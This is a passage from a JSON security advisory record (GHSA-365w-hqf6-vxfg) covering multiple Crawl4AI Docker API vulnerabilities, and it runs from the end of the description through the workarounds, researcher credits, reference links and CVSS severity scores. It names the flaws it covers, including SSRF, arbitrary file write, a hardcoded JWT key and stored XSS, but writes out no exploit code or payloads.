`raw://` URLs are skipped. Validation applies at request entry, not only at fetch time.\n\n### Workarounds\n\n1. Upgrade to the patched version (recommended)\n2. Set `CRAWL4AI_API_TOKEN` to enable authentication\n3. Set a strong `SECRET_KEY` (min 32 chars) if using JWT\n4. Restrict network access to the Docker API\n\n### Credits\n\n- Jeongbean Jeon - file write, SSRF, monitor auth bypass, stored XSS\n- wulonchia - file write via output_path (independent report)\n- by111 ([August829](https://github.com/August829)) - hardcoded JWT, eval in /config/dump, /execute_js, hook sandbox escape\n- secsys_codex - SSRF via /md, /crawl, /llm endpoints + IPv6-mapped IPv4 bypass (URL destination validation)\n- Velayutham Selvaraj ([LinkedIn](https://www.linkedin.com/in/velayuthamselvaraj)) - SSRF via missing host validation in validate_url_scheme (independent report)\n- IcySun \u0026 Yashon - SSRF, arbitrary file write, missing-auth-by-default, hook sandbox bypass via asyncio (independent report)",
  "id": "GHSA-365w-hqf6-vxfg",
  "modified": "2026-07-21T15:02:05Z",
  "published": "2026-06-16T20:13:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/unclecode/crawl4ai/security/advisories/GHSA-365w-hqf6-vxfg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56266"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-unauthenticated-access-to-monitor-endpoints-via-docker-api-server"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-stored-cross-site-scripting-in-monitor-dashboard"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-server-side-request-forgery-via-webhook-urls"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-server-side-request-forgery-via-direct-crawl-endpoints"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-authentication-bypass-via-hardcoded-jwt-signing-key"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-arbitrary-javascript-execution-via-execute-js-endpoint"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/crawl4ai-arbitrary-file-write-via-output-path-parameter"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/unclecode/crawl4ai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-798.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-596.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-3449.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-3443.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-239.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-230.yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/crawl4ai/PYSEC-2026-229.yaml"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-xrfj-6m49-wfmm"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-g2pv-76hm-j4x9"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8qrg-7j2f-rf2h"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-53rg-46cm-4g2v"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Crawl4AI: Multiple Docker API Vulnerabilities - File Write, SSRF, Auth Bypass, XSS, JS Execution"
}